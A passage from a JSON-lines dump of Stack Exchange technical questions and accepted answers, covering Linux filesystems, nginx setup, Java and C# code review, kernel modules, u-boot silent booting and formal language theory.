inodes...Phase 4 - check for duplicate blocks...        - setting up duplicate extent list...        - check for inodes claiming duplicate blocks...        - agno = 0        - agno = 2        - agno = 1        - agno = 3        - agno = 4        - agno = 5        - agno = 6        - agno = 7Phase 5 - rebuild AG headers and trees...        - reset superblock...Phase 6 - check inode connectivity...        - resetting contents of realtime bitmap and summary inodes        - traversing filesystem ...        - traversal finished ...        - moving disconnected inodes to lost+found ...Phase 7 - verify and correct link counts...done~# mount /home~# df -h /homeFilesystem               Size  Used Avail Use% Mounted on/dev/mapper/system-home  2.0G  1.5G  521M  75% /home~# On this example, there were only 161MB that were lost, but if I wait too long, the filesystem is 100% full, and I have real problemsIf that matters, both filesystems are bind-mounted in a LXC container. (I dont have any other XFS filesystem on this system.)Does anybody has an idea why this happens or how I should investigate?"  , "title": "Some space mysteriously disapears on XFS filesystems"  , "tags": "linux;debian;xfs"  } 
{  "id": "_unix.148875"  , "question": "So I had nginx set-up with the default site. I decided I wanted to change because my website is at /var/www/server.nyro.net/... so before I changed again, I went to 127.0.0.1 to see if everything worked. I did. I got the This page is run by nginx! and then I decided to edit the conf file.... and now I get 403 forbidden.I did the chmodd correctly... I don't know what is wrong...Here is my nginx.conf: http://pastebin.com/cbmvguW1Here is my nginx.conf .default: http://pastebin.com/aWdhv9JRWhat am I doing wrong?"  , "title": "Setting up nginx on Fedora 19"  , "tags": "linux;fedora;webserver;nginx"  } 
{  "id": "_codereview.102596"  , "question": "I want to extend the Closeable-Interface so that I can add Listeners, that get notificated when the resource is closed.The CloseListener-API is rather simple and straight forward: public interface CloseListener {  public void objectWillBeClosed(CloseableObservable closeable);  public void objectClosed(CloseableObservable closeable);}I found a nasty trick in a blog, that uses Java8's default methods to recreate multiple inheritance and I asked myself if it might be valid to try it for an Observable-Interface:public interface CloseableObservable extends Closeable{    class HiddenAndNasty{        private static final Map<CloseableObservable, Collection<CloseListener>> allObservers = new WeakHashMap<>();        private static final Collection<CloseListener> getObservers(CloseableObservable observable){            synchronized (observable) {                Collection<CloseListener> observers = allObservers.get(observable);                if(observers == null){                    observers = new ArrayList<>();                    allObservers.put(observable, observers);                }                return observers;            }        }    }    public default void addObserver(CloseListener observer){        HiddenAndNasty.getObservers(this).add(observer);    }    @Override    public default void close() throws IOException{        // Copy Collection to avoid concurrent modification        Collection<CloseListener> observers = new ArrayList<>(HiddenAndNasty.getObservers(this));        observers.forEach(observer -> observer.objectWillBeClosed(this));        closeInternal();        observers.forEach(observer -> observer.objectClosed(this));    }    /** not part of the public api, use close() instead */    void closeInternal() throws IOException;}This seems to work - here is a simple example, that works:import java.io.IOException;public class TestAutoCloseableOnObservableCloseable {    public static class SomeCloseableClass implements CloseableObservable{        @Override        public void closeInternal() throws IOException{            System.out.println(Now I close myself);        }    }    public static void main(String[] args) throws IOException {        try(SomeCloseableClass someObject = new SomeCloseableClass()){            someObject.addObserver(new CloseListener() {                @Override                public void objectWillBeClosed(CloseableObservable closeable) {                    System.out.println(Object will be closed!);                }                @Override                public void objectClosed(CloseableObservable closeable) {                    System.out.println(Object was closed!);                }            });        }// try-with-resource    }   // main}It works - but it seems somehow evil to me. Very evil. Is it an Anti-Pattern?"  , "title": "Observe closeable with default methods"  , "tags": "java"  } 
{  "id": "_unix.277662"  , "question": "I'm running some performance testing, and I'm trying to send the same file repeatedly to a socket.If I do something like:$ socat -b1048576 -u OPEN:/dev/zero TCP4-LISTEN:9899,reuseaddr,fork $ socat -b1048576 -u TCP:127.0.0.1:9899 OPEN:/dev/nullThen with that 1MB buffer iftop tells me that I'm pushing 20Gbps.However, what I'm really trying to do is something more like:$ socat -b1048576 -u OPEN:somefile.dat TCP4-LISTEN:9899,reuseaddr,fork $ myprog TCP:127.0.0.1:9899 > /dev/nullBut it only pushes that somefile.dat one time, I'd really like it to rewind() to the beginning and send it again."  , "title": "How can I repeatedly send the contents of a file via socat / ncat to a socket"  , "tags": "networking;performance;netcat;socat;nc"  } 
{  "id": "_codereview.67173"  , "question": "I'm fairly new to Java, arriving in the future from C and returning to type safety from Python. I'm looking for your suggestions to improve this code in the following areas:Correctness - are there any bugs? have I used the language correctly?Java conventions and idioms.Runtime performance.Generalization of input data type.import java.util.ArrayList;import java.util.List;public class MergeSorter {    /**     * Merge sort     *      * Running time O(nlog(n))     * @param list     * @return sortedSequence     */    public List<Integer> sort(List<Integer> list) {        // base case        if(list.size() <= 1)            return list;        int halfwayIndex = list.size() / 2;        List<Integer> leftSortedSeq = sort(list.subList(0, halfwayIndex));        List<Integer> rightSortedSeq = sort(list.subList(halfwayIndex, list.size()));        return merge(leftSortedSeq, rightSortedSeq);    }    /**     * Merge step     * Running time O(n)     * @param leftSortedSeq     * @param rightSortedSeq     * @return mergedSortedSequences     */    private List<Integer> merge(List<Integer> leftSortedSeq, List<Integer> rightSortedSeq) {        if(leftSortedSeq.isEmpty())            return rightSortedSeq;        else if (rightSortedSeq.isEmpty())            return leftSortedSeq;        List<Integer> sortedSeq = new ArrayList<>();        int lIdx = 0;        int rIdx = 0;        int leftSortedSize = leftSortedSeq.size();        int rightSortedSize = rightSortedSeq.size();        while(lIdx < leftSortedSize && rIdx < rightSortedSize) {            Integer leftSmallestElem = leftSortedSeq.get(lIdx);            Integer rightSmallestElem = rightSortedSeq.get(rIdx);            if(leftSmallestElem < rightSmallestElem) {                sortedSeq.add(leftSmallestElem);                lIdx++;            }            else {                sortedSeq.add(rightSmallestElem);                rIdx++;            }        }        // copy over remainder from both seqs        sortedSeq.addAll(leftSortedSeq.subList(lIdx, leftSortedSize));        sortedSeq.addAll(rightSortedSeq.subList(rIdx, rightSortedSize));        return sortedSeq;    }}"  , "title": "Merge Sorting Lists"  , "tags": "java;beginner;sorting;mergesort"  , "accepted_answer": "Your four questions are good ones:Correctness - are there any bugs?I can't see any significant bugs. There are lesser potential bugs which relate to unexpected input (for example, null lists, or lists with null members (each of those will throw NullPointerExceptions)Correctness - I used the language correctly?For the most part, it is neat, and well structured. Your names and conventions are good. Yout use of the sublist is uncommon but creative, and useful.The few places where there are problems are technically functional, but, for example, this line here is concerning:if(leftSmallestElem < rightSmallestElem) {Here you have two Integer instances, and the comparison is a <, which will 'unbox' the Integer vlues to int primitives, and do the integer compare.That's not broken, but it's not great either. For a start, it's slow.The better way is to use the natural ordering of the Integer object... if(leftSmallestElem.comareTo(rightSmallestElem) < 0) {This removes the unboxing.Java conventions and idioms.Here it gets interesting.Mostly good. You have been passing around List<Integer> instances instead of ArrayList<Integer> instances, and this is a good thing. Many 'novices' pass concrete, rather than interface types.You have JavaDoc, and I always like seeing that. Unfortunately the details are very sparse in it. It's not worth having if it is not useful.You have used private, and public appropriately.My only real concern here is that methods are not static. There is no reason to link these methods to a specific instance of MergeSorter. Making the methods static would mean that you call them with:List<integer> sorted = MergeSorter.sort(unsorted);One other thing, I would expect that the sort method does an in-place sort. This is only because I am more familiar with that from the Java API. Retuning a new instance of sorted data is not wrong, just odd. Note, that for small (and empty) inputs, you return the same instance as the one you sort. This difference in behaviour is problematic. I would return a new instance on the small sorts as well as the large ones, or alternatively, just copy the results back in to the source at the end, and not return anything (in-place sort).Runtime performance.The performance problem you have here is significant. Using an ArrayList in the recursion you have, implies that you will be creating a lot of ArrayList instances.The other performance issue is that you have is in your algorithm. Typically, the merge sort is done in to a single equal-sized 'buffer' as the input. You merge the small blocks from the input to the buffer, then you swap them, and merge the larger blocks back in to the original, and keep swapping the buffers, until you have a result from the top merge.Generalization of input data type.This is the open question.If you bring your input data down to the lowest common denominator of the Comparable class, you could create a method:public static <T extends Comparable<T>> List<T> sort(List<T>) {}and then, in each place where you have the generic type Integer, you replace it with T, then you can sort any Java class with a natural order (Numbers, Strings, etc.)The solution will need to use the compareTo mechanism, not the < comparison. I mentioned that earlier."  } 
{  "id": "_webapps.59431"  , "question": "Because of messages I received about the mail server being insecure, I was told to change my password. This I did with relative ease, got a verification code to use, went through two or three steps to verify this and thought all was well. However, when I try to log into my Gmail, it asks for my user name and password. Neither the new nor old credentials work. What do I do now?"  , "title": "Can't get into my Gmail account"  , "tags": "gmail;google account"  } 
{  "id": "_codereview.13127"  , "question": "I'm wondering about the difference between these two linq statementsbool overlap = GetMyListA().Intersect(GetMyListB()).Any(); // 1.vsbool overlap = GetMyListA().Any(i => GetMyListB().Contains(i)); // 2.Will statement 2. call GetMyListB() for each item in ListA?Which is more readable?"  , "title": "Which linq statement is better to find there is an overlap between two lists of ints?"  , "tags": "c#;linq"  , "accepted_answer": "Assuming LINQ to objects (i. e. these are in-memory collections not LINQ to Entities IQueryables or something):Will statement 2. call GetMyListB() for each item in ListA?Yes. If you want to avoid this, you'll have to store the result of GetMyListB() outside the function.Which is more readable?In my opinion two are about equally readable, although I would change #2 to be:bool overlap = GetMyListA().Any(GetMyListB().Contains); // 2.As far as performance, #1 will probably perform better in most cases, since it will dump all of one list into a hash table and then do an O(1) lookup for each element in the other list. Two exceptions to this that I can think of are (1) if the lists are very small, then building the hash table data structure might not be worth the overhead and (2) option 2 can theoretically return without having considered every element in either list. If the lists are large lazy enumerables and you expect this to return true in most cases then this could lead to a performance increase."  } 
{  "id": "_webapps.65925"  , "question": "I'm monitoring the commit log of a project my team is working on, and I was wondering whether there's any way to view the commits in an RSS/Atom reader. I.e., is there any URL provided by github that simply outputs the commit log in a format readable by an RSS/Atom reader? "  , "title": "Tracking github commits using RSS"  , "tags": "rss;github"  } 
{  "id": "_unix.181728"  , "question": "I'm a newbie to Linux. I have encountered an error when working with Cygwin and cmd prompt in Windows. I posted the snapshots. I'm trying to use carat ^ to find the info that begin with K. But getting error in cmd prompt and correct in Cygwin. Do I need to install any package or its the problem with the console?Thanks"  , "title": "Linux command error : not working in cmd prompt"  , "tags": "linux"  } 
{  "id": "_unix.214562"  , "question": "I have had taken backups by TimeMachine and now my Macbook Air 2013-mid finally died so I have to rescue files in Debian 8.1. However, it seems that no backups of so directories have been taken. I have backups which have these permissions and ownersls -ls /media/masi/disc2/drwxrwxr-x       1 root root           481 Jul  5 23:28 .drwxr-xr-x       1 root root             7 Jul  5 23:41 ..-rwxrwxrwx       8   99      99     780966 Sep 29  2014 09292014232514.pdf-r--r--r--     184 root 1922214          0 Jun 24 20:38 100 kuvaa-rwxrwxrwx       8   99      99  101499390 Aug 17  2014 20140817_Sami_airfoil.zip-r--r--r-- 1900902 root 1922218          0 Jun 24 20:38 248-r--r--r--     197 root 1922219          0 Jun 24 20:38 2ndsemesterI dosucp -r /media/masi/disc2/ /home/masi/but getls -la /home/masi/disc2/drwxr-xr-x 29 root root      20480 Jul  8 11:48 .drwxr-xr-x 29 masi masi       4096 Jul  8 11:36 ..-rwxr-xr-x  1 root root     780966 Jul  8 11:36 09292014232514.pdf-r--r--r--  1 root root          0 Jul  8 11:36 100 kuvaa-rwxr-xr-x  1 root root  101499390 Jul  8 11:36 20140817_Sami_airfoil.zip-r--r--r--  1 root root          0 Jul  8 11:36 248-r--r--r--  1 root root          0 Jul  8 11:36 2ndsemesterbut I have to do chown -R masi:masi /home/masi/disc2/ to be able to read those files:drwxr-xr-x 29 sami sami      20480 Jul  8 11:48 .drwxr-xr-x 29 sami sami       4096 Jul  8 11:36 ..-rwxr-xr-x  1 sami sami     780966 Jul  8 11:36 09292014232514.pdf-r--r--r--  1 sami sami          0 Jul  8 11:36 100 kuvaa-rwxr-xr-x  1 sami sami  101499390 Jul  8 11:36 20140817_Sami_airfoil.zip-r--r--r--  1 sami sami          0 Jul  8 11:36 248-r--r--r--  1 sami sami          0 Jul  8 11:36 2ndsemesterwhere you see that some folders such as 248 and 100 kuvaa are empty. Are those files/directories indicated by the field five in the first code block really empty?dmg2imgIt alerts falsely that not dmg image. Its conversion of such a file leads to false document. Many other threads also about this dmg2img tool but none succeeds, etc here.tmfs Oct 31 2012 tryI installed tmfs by apt-get install tmfs which is some filesystem of HFS made for time-machine backups. I run as its manual says# mkdir /mnt/hfs /mnt/tm# mount /home/masi/Disc2/ /mnt/hfsmount:  /home/masi/Disc2 is not a block devicewhere I am following the manualmkdir /mnt/hfs /mnt/tmmount /dev/sdXX /mnt/hfstmfs /mnt/hfs /mnt/tm -ouid=$(id -u $USER),gid=$(id -g $USER),allow_otherWhy do you get the error mount:  /home/masi/Disc2 is not a block device?This may be filesystem situation. My disk is ext4 in Debian but the OSX backup disc is some default format in OSX. How can you recover these files from the OSX filesystem in Debian?"  , "title": "To recover OSX data in Debian"  , "tags": "osx;backup;data recovery"  , "accepted_answer": "The latest version of the HFS+ utilities on Debian are, as far as I can tell, from 2006 and lacking a maintainer. Apple released Time Machine in 2007, and when they did they introduced some quite significant changes to HFS+ (particularly to do with hard links to directories). It is highly likely that the HFS+ tools on Debian cannot deal very well with a Time Machine backup.In your situation I would try to get OSX running in a virtual machine and read the backup from there."  } 
{  "id": "_cstheory.5593"  , "question": "Let $L$ be a context-free language. Define $ppc(L)$ to be the pre- and postfix closure of $L$, in other words, $ppc(L)$ contains all of $L$'s prefixes and postfixes, and hence $L$ itself. My question: if $L$ is context-free and has a non-ambiguous grammar, is the same true for $ppc(L)$?I believe that this kind of basic question would already have been resolved in the heyday of language theory, but I could not find a suitable reference."  , "title": "Closure of unambiguous context-free languages under pre- and postfix."  , "tags": "fl.formal languages;automata theory;grammars;context free languages"  , "accepted_answer": "The set $\\mathit{ppc}(L)$ is certainly context-free, but I think it can be inherently ambiguous: consider$$L=\\{a^mb^mc^nd\\mid m,n\\geq 0\\}\\cup\\{da^mb^nc^n\\mid m,n\\geq 0\\}\\;,$$ then $\\mathit{ppc}(L)$ includes the classical inherently ambiguous language $$L'=\\{a^mb^mc^n\\mid m,n\\geq 0\\}\\cup\\{a^mb^nc^n\\mid m,n\\geq 0\\}\\;,$$ and one can prove $\\mathit{ppc}(L)$ is also inherently ambiguous by the usual argument (apply Ogden's Lemma to both $a^{n+n!}b^nc^n$ and $a^nb^nc^{n+n!}$ to deduce the existence of two distinct trees for $a^{n+n!}b^{n+n!}c^{n+n!}$). "  } 
{  "id": "_unix.241679"  , "question": "I'm using Elementary OS Freya (which is based on Ubuntu), with nautilus to manage the desktop.Is there a way to force nautilus desktop icons to open files with another file manager (PCManFM in this case).I have already set PCManFM as my default manager in settings, but because the desktop is using nautilus it opens them with nautilus."  , "title": "Force nautilus desktop to open files with another file manager"  , "tags": "linux;files;desktop;elementary os;nautilus"  } 
{  "id": "_cs.63764"  , "question": "I recently came across a problem where I was charged $50 by a merchant with my bank card but there was a communication error, so the money was taken from my account but never arrived in the merchants account.  I have contacted both banks and neither know what happened to the money.How could one would construct software to avoid this problem?"  , "title": "How to build a reliable bank transfer?"  , "tags": "database theory;software engineering;reliability"  } 
{  "id": "_unix.385604"  , "question": "Is it possible to determine the vendor name of the memory used in a dedicated GPU in linux?Under Windows, there is a tool called GPU-Z that shows this value, tho under linux it seems there is no tool to display that value...GPU I'm using is a Geforce GTX 1060 using Cuda8 and Nvidia proprietary driversCheers"  , "title": "Determine the GPU memory vendor name under linux"  , "tags": "nvidia;gpu"  } 
{  "id": "_unix.37489"  , "question": "I have a btrfs partition. When I run df -h, it shows:Filesystem      Size  Used Avail Use% Mounted on/dev/sda2       113G  101G  8.3G  93% /homeFromWhy is that? Is it because reserved space for root as wth ext2/3/4? Or is it something else? If the former, how can I change it and reclaim those 4GB ?As per btrfs wiki, I know that metadata are stored twice which inflates the size of Used data:user@machine:~$ df -h /Filesystem            Size  Used Avail Use% Mounted on/dev/sda1             894G  311G  583G  35% /                            ^^^^user@machine:~$ btrfs fi df /Metadata: total=18.00GB, >>used=6.10GB<<  *2=  12.20GBData: total=358.00GB, >>used=298.37GB<<   *1= 298.37GBSystem: total=12.00MB, >>used=40.00KB<<   *1=   0.00GB                                           == 310.57GB                                            ~~ 311   GBBut this still does not explain why Used + Avail < Size."  , "title": "When using btrfs, why Size, Used and Avail values from df do not match?"  , "tags": "btrfs;df"  , "accepted_answer": "Unless you specified otherwise when you formatted, the default is to store duplicate copies of the metadata blocks for improved reliability.  You probably have 2gb worth of metadata that is stored twice, using 4gb.  You can see more details with btrfs filesystem df.In particular, 1.75GB is allocated for metadata, so it consumes twice that or 3.5GB of space. Only 385mb of that 1.75 gb is currently used for metadata, but the full 1.75GB is reserved for that use and so is not counted towards available space for file data"  } 
{  "id": "_cogsci.12843"  , "question": "Are the limitations to our vision like the field of view and singular focus entirely based on the limitations of the eye?It seems like it's possible to feed an artificial signal into the brain through the optic nerve.  What would happen if you fed a 360 video through such interface?What kinds of differences in experience would this provide, regarding the ability to focus on particular object for example? Seems like moving the eye would not be substantial anymore (no need for optical focusing), which introduces another curious situation on it's own. Would the brain be able to adapt to operate with multiple (mental-visual) focus points in such setting?"  , "title": "How much our visual limitations are instrument(eye)-based, and how much are they brain-based?"  , "tags": "vision;optical illusion;brain computer interface"  } 
{  "id": "_unix.2477"  , "question": "I'm new to LVM and have been very confused by this:I am transfering a large file to a partition that I thought had about 1.5 terabytes of space on it.  Near the end of the transfer, rsync exits with an error claiming that the partition is full.  I investigate and find the following:$ sudo lvm lvs  LV        VG     Attr   LSize   Origin Snap%  Move Log Copy%  Convert  home      system -wi-ao  97.66G                                        log       system -wi-ao  48.81G                                        log.audit system -wi-ao   9.75G                                        root      system -wi-ao 341.59G                                        swap      system -wi-ao   4.88G                                        temp      system -wi-ao  97.66G                                        var       system -wi-ao   1.46T  This seems to imply that /var (the partition that I'm transfering to, has the amount of storage I expect.  However, then I see:$ sudo df -hFilesystem            Size  Used Avail Use% Mounted on/dev/mapper/system-root                      331G  1.3G  313G   1% //dev/mapper/system-temp                       95G  188M   90G   1% /tmp/dev/mapper/system-var                       95G   90G     0 100% /var/dev/mapper/system-home                       95G  188M   90G   1% /home/dev/mapper/system-log                       48G  264M   45G   1% /var/log/dev/mapper/system-log.audit                      9.5G  340M  8.7G   4% /var/log/audit/dev/sda1              99M   25M   70M  26% /boottmpfs                 8.0G     0  8.0G   0% /dev/shmI'm guessing this has something to do with the volume being resized at some point.  While I have reliable backups, I'd rather not interrupt services for the time it will take to get the backup and restore.  Thus, is there anyway to make the filesystem seen by the OS match the space available according to lvm without losing data?"  , "title": "Why is there a mismatch between size reported by LVM and the size reported by df -h?"  , "tags": "lvm;disk usage"  , "accepted_answer": "If this is an ext3 filesystem, you can extend it to the LV size by running: resize2fs /dev/system/varIf this anything else than ext3, use the appropriate tool, e.g. xfs_growfs /var if it's XFS. This is absolutely nothing to be afraid of. I have extended hundreds of filesystems in more than 10 years on several operating systems and I have never seen the operation leading to a disruption of any kind."  } 
{  "id": "_webapps.75664"  , "question": "How do I export a YouTube playlist (video names) to Excel or a document?"  , "title": "How do I export a YouTube playlist?"  , "tags": "youtube;export;youtube playlist"  , "accepted_answer": "If the playlist is public you can get atom feed of it with an http request like.https://www.youtube.com/feeds/videos.xml?playlist_id=IDWhere the ID is replaced with an actual ID like this.https://www.youtube.com/feeds/videos.xml?playlist_id=PL1KYPbM0Swd0MJQ_oox0zTjYYCr57YDEyWith that document you will have all the information about the feed and you can further process it using other methods."  } 
{  "id": "_opensource.914"  , "question": "Note: this is  a hypothetical situation, not one I have actually encountered. (And one I hope I won't encounter)I started a small open source project and have gathered a few loyal committers. We don't have much in the way of a hierarchical structure and make our decisions by way of consensus. This has not led to any significant problems.Recently, the core contributors have split based on differing opinions about a rather central part of the project. (Which relates mainly to how users interact with the product on a very fundamental level.) A compromise seems unlikely and I fear the project will take a serious blow if it loses almost half of its contributors.How can I limit the damage this disagreement will deal to the project and how can I prevent something like this from happening in the future?For the sake of completeness, here are two related questions (separate links)"  , "title": "What do I do if my contributors are split into two camps?"  , "tags": "contributor;community;collaboration;human resources"  , "accepted_answer": "Been there, done that.Why does it happen?In my experience, a split due to creative differences usually happens because different people have a different idea of what the project goal actually is, but nobody is aware of that. As soon as a contributor realizes that someone else's vision is different from theirs, arguments and power struggle will start, which can quickly become personal and tear a project apart when not moderated properly.How to prevent it?The best way to prevent this situation early on is to communicate your creative vision of the project early, clearly and often. Every project should have some kind of official document which outlines the goals. Make sure every contributor knows and understands it, so everyone is on the same page and nobody gets any misconceptions about where you are heading. Make clear that anyone who wants the project to go somewhere else, should fork from the start and not get involved in the mainline in the first place.Should there be any disagreements about aspects of the project direction which were not set in stone beforehand, it is important to make a binding decision before things turn ugly. Having a clear hierarchy or well-defined decision making process is fundamental here. Without a binding process to make a decision - whether autocratic or democratic - people have no other choice but to reach consensus by either talking down the opposition through countless hours of filibusting in your communication channels (time they could rather spend working) or driving them out of the project through bullying and intrigue (a lose-lose situation for everyone involved).Unfortunately, when the conflict is already under way, it is likely too late to establish a proper decision-making process. Such a process only works when everyone supports it. But when you try to establish it now, everyone will perceive it in the context of the current conflict and their support for it will depend on whether this process would decide the current matter in their favor or not. Opening up this new battlefield now will likely deepen the trench instead of bridging it.The split still happened. How to deal with it?When the project is under a copyleft license (or when under a permissive license the other group is committed to keeping), you can still merge any of their commits into your codebase or vice versa, so the manpower is not completely lost to your project. But a split is still a considerable blow to the project because organisation structures and infrastructure need to be duplicated, coordination between the forks is impaired and their commits need to be carefully reviewed for relevance and merge conflicts."  } 
{  "id": "_unix.244673"  , "question": "After upgrading Squeeze to Wheezy my server will no longer boot. I'm only able to boot, by selecting a previous kernel (2.6.32).linux:~# find /lib/modules/3.2.0-4-amd64/ -maxdepth 2/lib/modules/3.2.0-4-amd64//lib/modules/3.2.0-4-amd64/modules.order/lib/modules/3.2.0-4-amd64/modules.builtin/lib/modules/3.2.0-4-amd64/kernel/lib/modules/3.2.0-4-amd64/kernel/sound/lib/modules/3.2.0-4-amd64/kernel/net/lib/modules/3.2.0-4-amd64/kernel/mm/lib/modules/3.2.0-4-amd64/kernel/lib/lib/modules/3.2.0-4-amd64/kernel/fs/lib/modules/3.2.0-4-amd64/kernel/drivers/lib/modules/3.2.0-4-amd64/kernel/crypto/lib/modules/3.2.0-4-amd64/kernel/archlinux:~# uname -rmsLinux 2.6.32-5-amd64 x86_64linux:~# dpkg -l linux-image* | grep ^iiii  linux-image-2.6.32-5-amd64                                  2.6.32-48squeeze6                    amd64        Linux 2.6.32 for 64-bit PCsii  linux-image-3.2.0-4-amd64                                   3.2.68-1+deb7u6                      amd64        Linux 3.2 for 64-bit PCsii  linux-image-amd64                                           3.2+46                               amd64        Linux for 64-bit PCs (meta-package)So it appears modules.dep is not being created, even though the install worked. I tried depmod -a, I've tried apt-get install --reinstall on the kernel, nothing is fixing this issue. "  , "title": "Upgrade Squeeze to Wheezy now no modules.dep"  , "tags": "debian;linux kernel;upgrade;kernel modules"  , "accepted_answer": "When you are running depmod, it only calculates the dependencies and creates modules.dep for the running kernel as default behaviour unless you provide an alternate kernel version as an argument.In your case, since you are booting with version 2.6.32-5-amd64, you need to run:$sudo depmod -a 3.2.0-4-amd64 in order for it to create the file /lib/modules/3.2.0-4-amd64/modules.depFrom : http://www.computerhope.com/unix/depmod.htmdepmod generates a list of kernel module dependences and associated map files.depmod [-b basedir] [-e] [-E Module.symvers] [-F System.map]       [-n] [-v] [-A] [-P prefix] [-w] [version]"  } 
{  "id": "_scicomp.18677"  , "question": "I have an irregular grid of points describing this surface (a large subduction fault in South America). The color is depth. Anyway I have 3D coordinates (lon,lat,depth) at irregular intervals. I'm trying to generate a triangular mesh using gmsh but I'm struggling with how. I can make every irregular grid point be a Point in gmsh with a little python function:def xyz2gmsh(fout,x,y,z):    f=open(fout,'w')    for k in range(len(x)):        line='Point('+str(k+1)+') = {%.6f, %.6f, %.6f, 0.01};\\n' %(x[k],y[k],z[k])        f.write(line)    f.close()And this file (fout) gnerated loads into gmsh but nothing shows! As I understand it I need to somehow tell gmsh that these points collectively represent a surface to be meshed. How? And can I tell gmsh to shoot for making elements of a certain size?Thanks!"  , "title": "Triangular mesh of a 3D surface"  , "tags": "mesh generation;gmsh"  } 
{  "id": "_datascience.16545"  , "question": "Let's say I begin with an exceptionally large dataframe (e.g. imported/munged from tsv files). Several of these columns are categorical labels. (As a more concrete example, let's imagine a group of students in a school district, pre-school to high-school). Now, I begin using sklearn and instantiate a t-SNE model, similar to the example here:http://scikit-learn.org/stable/modules/generated/sklearn.manifold.TSNE.html import numpy as np from sklearn.manifold import TSNE X  # my data model = TSNE(n_components=2, random_state=0) np.set_printoptions(suppress=True) model.fit_transform(X) and then we plot this. The plot might look something like this: http://imgur.com/a/3amkJHere's my problem: with real datasets, after using t-sne to learn/cluster, you will have a number of clusters. Then, using the categorical labels, I try to go through each of these, and try to figure out what structure the t-SNE plot is giving me. For our school example, I'd get the t-SNE output, then I would label the datapoints. (Let's assume that the clusters are actually representative of age/classroom, e.g. the first-graders group together, the second-graders are a group, etc.)If I try to color this plot with grades, I'll see that the grades does not really explain the structure of this plot. (Why? Because every class-level has students with As, Bs, Cs, etc.) Then I might try height...that does pretty good (because there's a correlation between short students--> pre-school, tall students --> high school seniors). How does one use a t-SNE plot to infer the most correct labels of the data? How does one use t-SNE plots to explain (and further explore) the plot structure? "  , "title": "Given a t-SNE plot, how can I infer the most correct labels? How does one understand its structure?"  , "tags": "clustering;labels;tsne"  } 
{  "id": "_unix.171061"  , "question": "I'd like make my ~/.ssh/config file dynamically generated by a shell script (or anything else that prints to STDOUT).Is there a UNIX trick to make reading a file result in executing a command & reading it's STDOUT?What I'd like:#!/bin/bashecho Hello World$ cat myfileHello World"  , "title": "Dynamic ~/.ssh/config"  , "tags": "bash;ssh;files;stdout"  } 
{  "id": "_unix.224283"  , "question": "I have seen yum used with enableRepo and disableRepo. But what happens when I enable a repo say 'apache-tomcat' and what happens if I disable the same repo ?"  , "title": "What happens when I enable or disable a repo"  , "tags": "yum"  } 
{  "id": "_unix.17162"  , "question": "For security reasons I have to boot Linux from u-boot with all output hidden (silently) until a password is entered. I've configured uBoot to do this correctly using the CONFIG_AUTOBOOT_KEYED macro and can successfully boot silently. The issue I am having is that when uBoot boots the Linux kernel and silent mode is enabled, it passes console= as part of the bootargs to Linux kernel. This is fine for silent booting, but I can't seem to find a way to re-enable the console again after bootup. I've also tried to boot normally and append loglevel=0 to the kernal bootargs which works for silent bootup, but again I cannot re-enable the console. I've tried:dmesg -n 4and klogd -c 4to try to set the Kernel loglevel back to KERN_WARNING (4) without luck. These commands work properly when I boot the Kernel normally.The best guide I've found on the matter is Silencing the boot process on blackfin.uclinux.org.Ideally I'd like to use uBoot's silent mode where it passes console= as part of the bootargs but still take input on the console and re-enable output when the password is entered, but I am open to other ideas if anyone can help guide me I would greatly appreciate it."  , "title": "Silent booting Linux from u-boot"  , "tags": "kernel;boot"  , "accepted_answer": "If anyone else runs into this issue I never found a good fix. I ended up hacking both u-boot and the linux kernel serial driver and basically checking if the password had been entered. If it had, I allowed the code to run normally. If it hadn't I just returned from the functions so that nothing was actually printed out on the console.For Kernel I edited the receive_chars() function to look for the password (input) and transmit_chars() to mask output. I had u-boot pass the password in as part of the bootargs. If it was null, then the password was already entered and we ignored the special code. If it was a value, then we grabbed input chars via receive_chars() and compare them to the stored string from bootargs.In u-boot I just used the CONFIG_AUTOBOOT_KEYED and associated default macros for the password entry. I then changed common/cmd_bootm.c to not call fixup_silent_linux() to mask the console= value and let the kernel deal with it as stated above.Hopefully this helps someone else."  } 
{  "id": "_cs.44187"  , "question": "I am working on an algorithm which approximates a certain optimal quantity. The approximation becomes better when the size of the problem ($n$) becomes larger: the difference from the optimum is approximately $1/n$.  Initially, I wrote that the algorithm achieves an approximation of:$$\\Omega(1-1/n)$$But, now I am not sure this notation is correct: it is just like writing $\\Omega(1)$ (the smaller element is swallowed in the larger element, which is 1).Should I write:$$1-O(1/n)$$Or maybe:$$1-1/\\Omega(n)$$Which of these is the correct notation?"  , "title": "Expressing that a function converges to 1 with linear rate using Landau notation"  , "tags": "asymptotics;landau notation;notation"  , "accepted_answer": "Both of the options you listed are acceptable. They have the same meaning; $f\\in O(1/n)$ if and only if $1/f \\in \\Omega(n)$.Let $f\\in O(1/n)$. Then there exist $n_0,M>0$ such that for all $n>n_0$, $f\\leq M/n$. Then $1/f\\geq n/M$ for all $n>n_0$, thus $1/f\\in \\Omega(n)$, since for $n>n_0$, $1/f \\geq 1/M \\cdot n$.The other direction is similar."  } 
{  "id": "_unix.330246"  , "question": "In Linux, if we have directories represented as special type of files having entry of each file name it has. Obviously, we could traverse and find out paths, then why do we need Dentries to assist us in traversing the paths, in other words, what's the significance of Dentry if its job could be done by inodes itself?"  , "title": "Need of Dentry despite traversal could be done by Inode"  , "tags": "files;filesystems;inode"  } 
{  "id": "_codereview.51964"  , "question": "I am working on some problems on Hackerrank.John has discovered various rocks. Each rock is composed of various elements, and each element is represented by a lowercase Latin letter from 'a' to 'z'. An element can be present multiple times in a rock.  An element is called a 'gem-element' if it occurs at least once in each of the rocks.Given the list of rocks with their compositions, you have to print how many different kinds of gems-elements he has.Input FormatThe first line consists of N, the number of rocks. Each of the next N lines contain rocks composition. Each composition consists of small alphabets of English language.Output FormatPrint the number of different kinds of gem-elements he has.Constraints1  N  100Each composition consists of only small Latin letters ('a'-'z'). 1  Length of each composition  100Sample Input3abcddebaccdeeabgSample Output2Explanation Only a, b are the two kind of gem-elements, since these characters occur in each of the rocks composition.I solved the problem but I don't feel that it is fast or pythonic. I was wondering if someone could help me increase the performance and perhaps reduce the amount of memory being used.numRocks = int(raw_input())rockList = []for x in xrange(numRocks):    rock = raw_input()    # list of sets()    rockList.append(set(rock))gemElement = 0for x in rockList[0]:    rocks = len(rockList) - 1    count = 0    for y in rockList[1:]:        if x in y:            count += 1            if count == rocks:                gemElement += 1print gemElement"  , "title": "Hackerrank Gem Stones"  , "tags": "python;optimization;performance;memory management;programming challenge"  , "accepted_answer": "Your solution looks pretty good. However, a few details can be changed to make your code more pythonic :Unused variableYou can use _ to name a variable whose value is not used. In your case, it applies to the first loop 